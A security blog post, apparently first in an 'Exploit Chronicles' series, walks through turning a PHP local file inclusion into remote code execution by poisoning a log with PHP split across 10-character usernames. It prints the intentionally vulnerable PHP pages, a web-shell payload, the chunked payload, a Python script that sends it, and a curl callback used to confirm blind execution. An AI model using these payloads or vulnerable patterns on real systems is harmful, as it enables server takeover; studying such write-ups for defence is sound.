Welcome to this new series of posts that I called Exploit Chronicles. I will be showcasing interesting exploits that I either thought about or have seen in the wild. For the latter, I may or may not disclose where I have found the exploit. With that, let’s jump into this one.
Bypassing Restrained Log Length to Achieve RCE with LFI
The exploit shown in this post is something that I have seen in the wild. I have recreated the vulnerability in a simple web application. The basis of the exploit itself is a standard local file inclusion (LFI) vulnerability used to achieve remote code execution (RCE) through a log file. However, there is business logic in the way that we need to bypass.
Setting Up the Stage
The code of the vulnerable web application can be found here.
The server’s file structure is the following:
/var
__/www
____/html
______/index.php
______/pages
________/about.php
________/home.php
________/login.php
____/logs
______/log.txt
You will notice that the logs
folder is outside the html
folder. That means that the logs are not served by the Apache server.
Finding the Vulnerability
During the assessment, I was able to gain access to the source code of a web application. During analysis, I found a local file inclusion (LFI) vulnerability. In our case, the LFI is present in index.php.
The code of index.php looks like this:
<html>
<body>
<ul>
<li><a href="index.php?page=home.php">Home</a></li>
<li><a href="index.php?page=profile.php">Profile</a></li>
<li><a href="index.php?page=about.php">About</a></li>
</ul>
<?php
$file = $_GET['page'];
if(isset($file))
{
include("pages/$file");
}
?>
</body>
</html>
Using the LFI present at line 12, we could try to leak some information, but we are interested in remote code execution. One common way to achieve that from an LFI is through user inputs that gets written in logs. It turns out that the login feature logs the username of the user who has just logged in.
The code of profile.php is the following:
<h1>Welcome to the Profile Page!</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST["username"];
if (strlen($username) === 10) {
$f = fopen("../logs/log.txt", "a");
fwrite($f, $username . "\n");
fclose($f);
echo "Logged In!"; # Very good authentication right here
} else {
echo "ERROR: Usernames are 10 characters long.";
}
echo "</br>";
}
?>
<form action="index.php?page=profile.php" method="post">
<label for="username">Username:</label>
<input type="text" name="username"></input>
<label for="password">Password:</label>
<input type="password" name="password"></input>
<input type="submit" value="Login"></input>
</form>
We can see on line 9 that the provided username is logged. If we provide valid PHP code as the username, this code would end up in the logs, and we could execute our code through the LFI like so http://127.0.0.1/index.php?page=../../logs/log.txt
. There is just one problem here that you may have noticed. At line 7, the username must be exactly 10 characters long. Would that stop us from injecting valid PHP code into the logs?
Bypassing the Business Logic
In a typical LFI that leverages logs, you would send a payload that would write something like this in the log file: <?php system($_GET["cmd"]); ?>
. That would result in a simple web shell. However, in our case, we can’t do that. Using this last example, we would be limited to <?php syst
, which is not valid PHP. Remember, the username gets logged only if it is 10 characters long, no more, no less.
To bypass this, we need to be cheesy. We will send our payload in multiple chunks using comments and multiple login requests. What we want to end up with in the log file is the following:
<?php /**
*/exec(/**
*/$_GET/**
*/["c"]/**
*/);?>
In other words, each line in the code above is a username entry we will provide in a login attempt. Notice that we are using the exec
method instead of `system` to satisfy the username length validation. That means we won’t be getting the output of our command to show up on a page. Notice as well that the lines */exec(/**
, */$_GET/**
, and */["c"]/**
are exactly 10 characters long. We don’t even have one character to spare.
Note: You could also use string concatenation to execute your command directly instead of using an HTTP GET input.
Exploiting It
We could do the exploit manually, sending a login request with the usernames <?php /**
, then */exec(/**
, etc. but that can be quickly automated in Python like so.
import requests
url = "http://127.0.0.1/index.php?page=profile.php"
password = "aa"
requests.post(url, data={"username": '<?php /**', "password": password})
requests.post(url, data={"username": '*/exec(/**', "password": password})
requests.post(url, data={"username": '*/$_GET/**', "password": password})
requests.post(url, data={"username": '*/["c"]/**', "password": password})
requests.post(url, data={"username": ' */);?>', "password": password})
We run the script, and we can then execute any command we want on the server using the LFI. Since this is done blindly because of the exec
function, we can make the server send us back a GET request to confirm the execution (http://127.0.0.1/index.php?page=../../logs/log.txt&c=curl%20http://127.0.0.1:8080/itworks
).
Wrapping it Up and Mitigations
Once you see it, it is pretty simple to bypass this business logic and obtain the RCE. It is just something that I had never encountered before.
Regarding mitigations, the “easiest” fix is to not allow user inputs into PHP `include` statements, even parts of user inputs. If it is needed for some reason, validate the input against an allow list and reject the request if it does not match.